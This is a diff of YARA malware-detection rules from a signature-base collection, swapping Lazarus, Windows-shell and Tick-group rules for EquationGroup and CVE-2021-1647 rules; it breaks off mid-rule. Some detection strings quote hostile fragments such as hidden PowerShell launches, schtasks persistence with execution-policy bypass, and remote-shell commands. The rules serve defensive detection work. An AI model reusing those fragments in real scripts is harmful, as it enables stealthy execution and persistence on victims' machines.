-		hash1 = "d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48"
+		hash1 = "4e0209b4f5990148f5d6dee47dbc7021bf78a782b85cef4d6c8be22d698b884f"
 
 	strings:
-		$s1 = "::DataSpace/Storage/MSCompressed/Transform/" ascii
-		$s2 = "HHA Version 4." ascii
-		$s3 = { 74 45 58 74 53 6F 66 74 77 61 72 65 00 41 64 6F
-              62 65 20 49 6D 61 67 65 52 65 61 64 79 71 }
-		$s4 = "bUEeYE" fullword ascii
+		$s1 = "Psxssdll.dll" fullword wide
+		$s2 = "Posix Server Dll" fullword wide
+		$s3 = ".?AVOpenSocket@@" fullword ascii
+		$s4 = "RHTTP/1.0" fullword wide
+		$s5 = "Copyright (C) Microsoft" fullword wide
 
 	condition:
-		uint16(0)==0x5449 and filesize <4000KB and all of them
+		( uint16(0)==0x5a4d and filesize <400KB and ( all of ($s*))) or ( all of them )
 }
-rule SIGNATURE_BASE_Lazarus_Dec_17_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_3 : FILE
 {
 	meta:
-		description = "Detects Lazarus malware from incident in Dec 2017"
-		author = "Florian Roth (Nextron Systems)"
-		id = "45127fb5-0f70-5140-acd9-46147d365dfe"
-		date = "2017-12-20"
+		description = "EquationGroup Malware - file mssld.dll"
+		author = "Auto Generated"
+		id = "f664ad78-1820-5434-94cc-94f98b32e654"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8U6fY2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec17.yar#L31-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "273cd54a0c3ecf53893de0ef9c41d784725eea6cc843e04df01cd8f29d61a797"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1773-L1787"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b43280a94f1f5c62185f6b879126bcd258e9875beeb0f7ec1e3569494a60669"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"
-		hash2 = "9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453"
+		hash1 = "69dcc150468f7707cc8ef618a4cea4643a817171babfba9290395ada9611c63c"
 
 	strings:
-		$s1 = "SkypeSetup.exe" fullword wide
-		$s2 = "%s\\SkypeSetup.exe" fullword ascii
-		$s3 = "Skype Technologies S.A." fullword wide
-		$a1 = "Microsoft Code Signing PCA" ascii wide
+		$op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
+		$op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
+		$op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <7000KB and ( all of ($s*) and not $a1)
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-rule SIGNATURE_BASE_Lazarus_Dec_17_4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Getadmin_Lp : FILE
 {
 	meta:
-		description = "Detects Lazarus malware from incident in Dec 2017ithumb.js"
+		description = "EquationGroup Malware - file GetAdmin_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fbdc6287-c177-53b5-83dd-979936f65192"
-		date = "2017-12-20"
+		id = "3bbe0553-a5a3-5207-a94e-ad978606d9a4"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8U6fY2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec17.yar#L53-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "70801347699d339cb47cad03ec3f694b09a976e32b70052a97fade09fcac679d"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1789-L1802"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5bff3858c59b1bb44c5e24ca5f77d8e1e582224cc1caad3955d1adb0efea318a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3"
-		hash2 = "7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e"
+		hash1 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
 
 	strings:
-		$s1 = "var _0xf5ed=[\"\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C\"," ascii
+		$x1 = "Current user is System -- unable to join administrators group" fullword wide
 
 	condition:
-		filesize <9KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Lazarus_Dec_17_5 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Modifygroup_Lp : FILE
 {
 	meta:
-		description = "Detects Lazarus malware from incident in Dec 2017"
+		description = "EquationGroup Malware - file ModifyGroup_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "33bd8c08-123e-5a8e-b5dc-02af7291addc"
-		date = "2017-12-20"
+		id = "82c9617a-3d78-525f-a507-76c87aad7c59"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8U6fY2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_dec17.yar#L69-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "480ec19f7050d34713ed621ae9ec5d5463b1cc4710b473465cc78e533796d2e4"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1805-L1819"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8fe5102cacd9149a0ed60440c563953d487aa2b28a3b947d821d0cc3f3396a4a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471"
+		hash1 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
 
 	strings:
-		$x1 = "$ProID = Start-Process powershell.exe -PassThru -WindowStyle Hidden -ArgumentList" fullword ascii
-		$x2 = "$respTxt = HttpRequestFunc_doprocess -szURI $szFullURL -szMethod $szMethod -contentData $contentData;" fullword ascii
-		$x3 = "[String]$PS_PATH = \"C:\\\\Users\\\\Public\\\\Documents\\\\ProxyAutoUpdate.ps1\";" fullword ascii
-		$x4 = "$cmdSchedule = 'schtasks /create /tn \"ProxyServerUpdater\"" ascii
-		$x5 = "/tr \"powershell.exe -ep bypass -windowstyle hidden -file " ascii
-		$x6 = "C:\\\\Users\\\\Public\\\\Documents\\\\tmp' + -join " ascii
-		$x7 = "$cmdResult = cmd.exe /c $cmdInst | Out-String;" fullword ascii
-		$x8 = "whoami /groups | findstr /c:\"S-1-5-32-544\"" fullword ascii
+		$s1 = "Modify Privileges failed" fullword wide
+		$s2 = "Given privilege name not found" fullword wide
 
 	condition:
-		filesize <500KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Windowsshell_S3 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Pwdump_Lp : FILE
 {
 	meta:
-		description = "Detects simple Windows shell - file s3.exe"
+		description = "EquationGroup Malware - file pwdump_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "064754a7-8639-5dbd-93f3-906662b8e9bc"
-		date = "2016-03-26"
+		id = "6f356f13-9ec1-5dd9-91b2-6a3071398e81"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/odzhan/shells/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_winshells.yar#L10-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
-		logic_hash = "b9274f909b50247a4f5111a14806faadba7814e26805bef7d61eaaf8be4b46ed"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1821-L1834"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7381ffd9b2b720fa99d52bc5805fea942e5a966bf3fd611f1a80a875edd06dad"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
 
 	strings:
-		$s1 = "cmd                  - execute cmd.exe" fullword ascii
-		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
-		$s3 = "get <remote> <local> - download file" fullword ascii
-		$s4 = "[ simple remote shell for windows v3" fullword ascii
-		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
-		$s6 = "put <local> <remote> - upload file" fullword ascii
-		$s7 = "term                 - terminate remote client" fullword ascii
-		$s8 = "[ downloading \"%s\" to \"%s\"" fullword ascii
-		$s9 = "-l           Listen for incoming connections" fullword ascii
+		$x1 = "PWDUMP - - ERROR - -" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and 2 of them ) or (5 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Windosshell_S1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Eventlogedit_Implant : FILE
 {
 	meta:
-		description = "Detects simple Windows shell - file s1.exe"
+		description = "EquationGroup Malware - file EventLogEdit_Implant.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b4e783a2-4a93-5c72-9b09-4692b383ac00"
-		date = "2016-03-26"
+		id = "40239dd0-4159-5c10-96b3-4f1e28c92d97"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/odzhan/shells/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_winshells.yar#L33-L53"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
-		logic_hash = "29fcddc549c615ca5cdda60272926671bc1446c3c7b51c9a2fd867b6b68858b2"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1836-L1851"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d391eaed77150ab2a26dfed60ebd82aa2c6802b6b604791fb78d08db7fe5ec9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0bb750195fbd93d174c2a8e20bcbcae4efefc881f7961fdca8fa6ebd68ac1edf"
 
 	strings:
-		$s1 = "[ executing cmd.exe" fullword ascii
-		$s2 = "[ simple remote shell for windows v1" fullword ascii
-		$s3 = "-p <number>  Port number to use (default is 443)" fullword ascii
-		$s4 = "usage: s1 <address> [options]" fullword ascii
-		$s5 = "[ waiting for connections on %s" fullword ascii
-		$s6 = "-l           Listen for incoming connections" fullword ascii
-		$s7 = "[ connection from %s" fullword ascii
-		$s8 = "[ %c%c requires parameter" fullword ascii
+		$s1 = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%ls" fullword wide
+		$s2 = "Ntdll.dll" fullword ascii
+		$s3 = "hZwOpenProcess" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <150KB and 2 of them ) or (5 of them )
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-rule SIGNATURE_BASE_Windowsshell_S4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Portmap_Lp : FILE
 {
 	meta:
-		description = "Detects simple Windows shell - file s4.exe"
+		description = "EquationGroup Malware - file PortMap_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "838771dc-f885-5332-9813-2bc01af8e5fe"
-		date = "2016-03-26"
+		id = "e1851a17-9858-5c93-9993-2da0559e5d2e"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/odzhan/shells/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_winshells.yar#L55-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
-		logic_hash = "fff280debdd32a736e37a73800f226bf6def5dd107abd1d9237d92904622c9ec"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1853-L1868"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9666e64b40dc01c5b3756b1334519730765f7075ba9a124a79f5b7ea4bc91e03"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
 
 	strings:
-		$s1 = "cmd                  - execute cmd.exe" fullword ascii
-		$s2 = "\\\\.\\pipe\\%08X" fullword ascii
-		$s3 = "get <remote> <local> - download file" fullword ascii
-		$s4 = "[ simple remote shell for windows v4" fullword ascii
-		$s5 = "REMOTE: CreateFile(\"%s\")" fullword ascii
-		$s6 = "[ downloading \"%s\" to \"%s\"" fullword ascii
-		$s7 = "[ uploading \"%s\" to \"%s\"" fullword ascii
-		$s8 = "-l           Listen for incoming connections" fullword ascii
+		$s1 = "Privilege elevation failed" fullword wide
+		$s2 = "Portmap ended due to max number of ports" fullword wide
+		$s3 = "Invalid parameters received for portmap" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <175KB and 2 of them ) or (5 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 2 of them )
 }
-rule SIGNATURE_BASE_Windowsshell_Gen : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Processoptions_Lp : FILE
 {
 	meta:
-		description = "Detects simple Windows shell - from files keygen.exe, s1.exe, s2.exe, s3.exe, s4.exe"
+		description = "EquationGroup Malware - file ProcessOptions_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6b871e8a-8fe3-5cc6-9f2c-ba2359861ea1"
-		date = "2016-03-26"
+		id = "5ccb9751-fbcc-538c-8d55-dfc495067ce5"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/odzhan/shells/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_winshells.yar#L79-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "753dd12f649bcbfcc2c60a2f3be27df5297a671a0ee1856093eed04113616581"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1870-L1883"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cc9cd566f57d28ccea6d53d2eba71187f01cdf6e140771cace33349f6439461d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "a7c3d85eabac01e7a7ec914477ea9f17e3020b3b2f8584a46a98eb6a2a7611c5"
-		hash2 = "4a397497cfaf91e05a9b9d6fa6e335243cca3f175d5d81296b96c13c624818bd"
-		hash3 = "df0693caae2e5914e63e9ee1a14c1e9506f13060faed67db5797c9e61f3907f0"
-		hash4 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
-		hash5 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+		hash1 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
 
 	strings:
-		$s0 = "[ %c%c requires parameter" fullword ascii
-		$s1 = "[ %s : %i" fullword ascii
-		$s2 = "[ %s : %s" fullword ascii
+		$s1 = "Invalid parameter received by implant" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <175KB and 2 of them ) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-rule SIGNATURE_BASE_Windowsshell_Gen2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Equationgroup_Passfreely_Lp : FILE
 {
 	meta:
-		description = "Detects simple Windows shell - from files s3.exe, s4.exe"
+		description = "EquationGroup Malware - file PassFreely_Lp.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8ed8443d-491b-5cb0-b12b-0d25267ba462"
-		date = "2016-03-26"
+		id = "5fb99194-f0df-54aa-9f20-7f8458155e62"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/odzhan/shells/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_winshells.yar#L101-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c5ce27554b2ee25b974b567ef5a9ae877906250073da477f0ab5d71d162ac81a"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1885-L1900"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c3ceb04b42b6e741b1578ec9ecb83b72c599d9af457d6d4e8de572e481d3aa5c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "344575a58db288c9b5dacc654abc36d38db2e645acff05e894ff51183c61357d"
-		hash2 = "f00a1af494067b275407c449b11dfcf5cb9b59a6fac685ebd3f0eb193337e1d6"
+		hash1 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
 
 	strings:
-		$s1 = "cmd                  - execute cmd.exe" fullword ascii
-		$s2 = "get <remote> <local> - download file" fullword ascii
-		$s3 = "REMOTE: CreateFile(\"%s\")" fullword ascii
-		$s4 = "put <local> <remote> - upload file" fullword ascii
-		$s5 = "term                 - terminate remote client" fullword ascii
-		$s6 = "[ uploading \"%s\" to \"%s\"" fullword ascii
-		$s7 = "[ error : received %i bytes" fullword ascii
+		$s1 = "Unexpected value in memory.  Run the 'CheckOracle' or 'memcheck' command to identify the problem" fullword wide
+		$s2 = "Oracle process memory successfully modified!" fullword wide
+		$s3 = "Unable to reset the memory protection mask to the memory" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <175KB and 2 of them ) or (5 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Tick_Sysmon_Loader_Jun18 : FILE
+rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_1 : FILE
 {
 	meta:
-		description = "Detects Sysmon Loader from Tick group incident - Weaponized USB"
+		description = "EquationGroup Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eae013c3-4774-5342-bd1a-5f2825612747"
-		date = "2018-06-23"
+		id = "331d7ba5-e3fa-5ab7-b4de-c7af764be03d"
+		date = "2017-01-13"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tick_weaponized_usb.yar#L13-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e6256269409322a4f48bfdaafc52f5ec83602cf66f2e3b8d83ed5175e1dc506f"
+		reference = "https://goo.gl/tcSoiJ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1904-L1933"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "97fe69f0c8f2fc44fdcd796c9390c3912f31c56540af1ca8f2baab16d1e91add"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "31aea8630d5d2fcbb37a8e72fe4e096d0f2d8f05e03234645c69d7e8b59bb0e8"
+		super_rule = 1
+		hash1 = "694be2698bcc5c7a1cce11f8ef65c1c96a883d14b98148c36b32888fb58b6a7e"
+		hash2 = "73d1d55493886639c619e9f5e312daab93e4feeb74f24dbe51593842baac8d15"
+		hash3 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
+		hash4 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
+		hash5 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
+		hash6 = "8f5b97124de9fce16e2cfecb7dd2e171824c9e07546db7b3bee7c5f2c92ceda9"
+		hash7 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
+		hash8 = "d92928a867a685274b0a74ec55c0b83690fca989699310179e184e2787d47f48"
+		hash9 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
+		hash10 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
+		hash11 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
+		hash12 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
+		hash13 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
+		hash14 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
+		hash15 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
 
 	strings:
-		$x1 = "SysMonitor_3A2DCB47" fullword ascii
-		$s1 = "msxml.exe" fullword ascii
-		$s2 = "wins.log" fullword ascii
-		$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
-		$s4 = "%2d-%2d-%2d-%2d" fullword ascii
-		$s5 = "%USERPROFILE%" fullword ascii
-		$s6 = "Windows NT" fullword ascii
-		$s7 = "device monitor" fullword ascii
-		$s8 = "\\Accessories" ascii
+		$x1 = "Injection Lib -  GetProcAddress failed on Kernel32.DLL function" fullword wide
+		$x2 = "Injection Lib -  JUMPUP failed to open requested process" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="c5bb16e79fb500c430edce9481ae5b2b" or $x1 or 6 of them )
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*)) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Tick_Homamdownloader_Jun18 : FILE
+rule SIGNATURE_BASE_Equationdrug_MS_Identifier
 {
 	meta:
-		description = "Detects HomamDownloader from Tick group incident - Weaponized USB"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8ec52cb7-41a4-50a9-9cb1-23bee354680f"
-		date = "2018-06-23"
+		description = "Microsoft Identifier used in EquationDrug Platform"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "c934c117-bf5a-5688-acd9-5d6c6aacd6bc"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-tick-group-weaponized-secure-usb-drives-target-air-gapped-critical-systems/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tick_weaponized_usb.yar#L40-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b4c798aa0c71f44f271e710d791c97adcbf9bd28ec87dd1d8d589029e58d1cfb"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1937-L1948"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7b919c82b6e765be5adb927bf79d13f9b37a214a6f8a1f7b237a88ba46ae958c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f817c9826089b49d251b8a09a0e9bf9b4b468c6e2586af60e50afe48602f0bec"
+		tags = ""
 
 	strings:
-		$s1 = "cmd /c hostname >>" fullword ascii
-		$s2 = "Mstray.exe" fullword ascii
-		$s3 = "msupdata.exe" fullword ascii
-		$s5 = "Windows\\CurrentVersion\\run" fullword ascii
-		$s6 = "Content-Type: */*" fullword ascii
-		$s11 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword ascii
+		$s1 = "Microsoft(R) Windows (TM) Operating System" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 3 of them
+		$s1 and pe.timestamp>946684800
+}
+rule SIGNATURE_BASE_EXPL_CVE_2021_1647_Apr21_1 : CVE_2021_1647 FILE
+{
+	meta:
+		description = "Detects samples that exploit CVE-2021-1647"
+		author = "Arkbird_SOLG"
+		id = "ecce018e-1bee-5374-b6c8-984c2a8c2530"
+		date = "2021-05-04"
+		modified = "2023-12-05"
+		reference = "https://attackerkb.com/topics/DzXZpEuBeP/cve-2021-1647-microsoft-windows-defender-zero-day-vulnerability"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2021_1647.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b0e1809ba10e5ea624e1c4d2e948c928c590b40e6315def8cb1216930ead8579"
+		score = 75
+		quality = 85
+		tags = "CVE-2021-1647, FILE"
+		hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
+		hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
+		hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
+		hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
+
+	strings:
